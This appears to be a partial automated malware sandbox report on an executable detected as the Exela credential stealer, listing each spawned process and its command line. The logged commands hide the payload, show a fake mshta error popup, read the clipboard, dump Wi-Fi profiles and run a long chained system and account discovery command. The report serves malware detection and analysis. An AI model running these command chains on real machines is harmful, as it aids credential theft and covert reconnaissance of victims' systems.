__sdcfduid=31c82dbec7e311ef855a22435e575669c1e37dc8cb75c0c7ac98873fcdddbd4d6db4009f2008e1e9135c4b429afb227f; Expires=Mon, 31-Dec-2029 01:53:27 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=LaxSet-Cookie: __cfruid=e099a5803c577c3

Target ID:	0
Start time:	20:52:57
Start date:	31/12/2024
Path:	C:\Users\user\Desktop\rename_me_before.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\rename_me_before.exe"
Imagebase:	0x7ff6404e0000
File size:	11'803'970 bytes
MD5 hash:	8B8040D5875E4C41ED5091F92021A16B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	20:52:58
Start date:	31/12/2024
Path:	C:\Users\user\Desktop\rename_me_before.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\rename_me_before.exe"
Imagebase:	0x7ff6404e0000
File size:	11'803'970 bytes
MD5 hash:	8B8040D5875E4C41ED5091F92021A16B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 00000001.00000003.1952943493.000001B1014F9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PythonStealer, Description: Yara detected Python Stealer, Source: 00000001.00000003.1952943493.000001B1014F9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1952943493.000001B1014F9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 00000001.00000002.1978432003.000001B101520000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PythonStealer, Description: Yara detected Python Stealer, Source: 00000001.00000002.1978432003.000001B101520000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.1978432003.000001B101520000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PythonStealer, Description: Yara detected Python Stealer, Source: 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 00000001.00000003.1949949259.000001B1021E3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: 00000001.00000003.1949949259.000001B1021E3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PythonStealer, Description: Yara detected Python Stealer, Source: 00000001.00000003.1949949259.000001B1021E3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1949949259.000001B1021E3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PythonStealer, Description: Yara detected Python Stealer, Source: 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 00000001.00000002.1980340485.000001B103050000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PythonStealer, Description: Yara detected Python Stealer, Source: 00000001.00000002.1980340485.000001B103050000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.1980340485.000001B103050000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PythonStealer, Description: Yara detected Python Stealer, Source: 00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.1980252152.000001B102F50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:53:00
Start date:	31/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "ver"
Imagebase:	0x7ff6bee00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:53:00
Start date:	31/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:53:00
Start date:	31/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Imagebase:	0x7ff6bee00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:53:00
Start date:	31/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist"
Imagebase:	0x7ff6bee00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	20:53:00
Start date:	31/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:53:00
Start date:	31/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:53:00
Start date:	31/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist
Imagebase:	0x7ff786440000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	20:53:00
Start date:	31/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic csproduct get uuid
Imagebase:	0x7ff70bb60000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	20:53:01
Start date:	31/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe""
Imagebase:	0x7ff6bee00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	20:53:01
Start date:	31/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	20:53:01
Start date:	31/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe"
Imagebase:	0x7ff693090000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	20:53:02
Start date:	31/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()""
Imagebase:	0x7ff6bee00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	20:53:02
Start date:	31/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	20:53:02
Start date:	31/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist"
Imagebase:	0x7ff6bee00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6812, Parent PID: 2080

General

Target ID:	16
Start time:	20:53:02
Start date:	31/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	20:53:02
Start date:	31/12/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"
Imagebase:	0x7ff7efb30000
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	20:53:02
Start date:	31/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist
Imagebase:	0x7ff7699e0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	20:53:03
Start date:	31/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
Imagebase:	0x7ff6bee00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	20:53:03
Start date:	31/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
Imagebase:	0x7ff6bee00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7036, Parent PID: 4564

General

Target ID:	21
Start time:	20:53:03
Start date:	31/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	20:53:03
Start date:	31/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff6bee00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	20:53:03
Start date:	31/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	20:53:03
Start date:	31/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
Imagebase:	0x7ff6bee00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	20:53:03
Start date:	31/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	20:53:03
Start date:	31/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	20:53:03
Start date:	31/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c chcp
Imagebase:	0x7ff6bee00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	20:53:03
Start date:	31/12/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp
Imagebase:	0x7ff7e5100000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	20:53:03
Start date:	31/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c chcp
Imagebase:	0x7ff6bee00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: tasklist.exePID: 3120, Parent PID: 3244

General

Target ID:	30
Start time:	20:53:03
Start date:	31/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff786440000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	20:53:04
Start date:	31/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe Get-Clipboard
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	20:53:04
Start date:	31/12/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp
Imagebase:	0x7ff7e5100000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	20:53:04
Start date:	31/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
Imagebase:	0x7ff6bee00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	20:53:04
Start date:	31/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
Imagebase:	0x7ff6bee00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	20:53:04
Start date:	31/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	20:53:04
Start date:	31/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	20:53:04
Start date:	31/12/2024
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	systeminfo
Imagebase:	0x7ff6d6950000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	20:53:04
Start date:	31/12/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profiles
Imagebase:	0x7ff633c30000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	20:53:04
Start date:	31/12/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	20:53:05
Start date:	31/12/2024
Path:	C:\Windows\System32\HOSTNAME.EXE
Wow64 process (32bit):	false
Commandline:	hostname
Imagebase:	0x7ff688410000
File size:	14'848 bytes
MD5 hash:	33AFAA43B84BDEAB12E02F9DBD2B2EE0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	20:53:06
Start date:	31/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic logicaldisk get caption,description,providername
Imagebase:	0x7ff70bb60000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	20:53:06
Start date:	31/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	20:53:07
Start date:	31/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net user
Imagebase:	0x7ff6f83b0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	20:53:07
Start date:	31/12/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 user
Imagebase:	0x7ff66aa70000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	20:53:07
Start date:	31/12/2024
Path:	C:\Windows\System32\query.exe
Wow64 process (32bit):	false
Commandline:	query user
Imagebase:	0x7ff61a530000
File size:	17'408 bytes
MD5 hash:	29043BC0B0F99EAFF36CAD35CBEE8D45
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	20:53:07
Start date:	31/12/2024
Path:	C:\Windows\System32\quser.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\quser.exe"
Imagebase:	0x7ff7a6ca0000
File size:	25'600 bytes
MD5 hash:	480868AEBA9C04CA04D641D5ED29937B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	20:53:07
Start date:	31/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net localgroup
Imagebase:	0x7ff6f83b0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	20:53:08
Start date:	31/12/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 localgroup
Imagebase:	0x7ff66aa70000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	20:53:08
Start date:	31/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net localgroup administrators
Imagebase:	0x7ff6f83b0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	20:53:08
Start date:	31/12/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 localgroup administrators
Imagebase:	0x7ff66aa70000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	20:53:08
Start date:	31/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net user guest
Imagebase:	0x7ff6f83b0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	20:53:08
Start date:	31/12/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 user guest
Imagebase:	0x7ff66aa70000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	20:53:09
Start date:	31/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net user administrator
Imagebase:	0x7ff6f83b0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	20:53:09
Start date:	31/12/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 user administrator
Imagebase:	0x7ff66aa70000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	20:53:09
Start date:	31/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic startup get caption,command
Imagebase:	0x7ff70bb60000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	20:53:09
Start date:	31/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
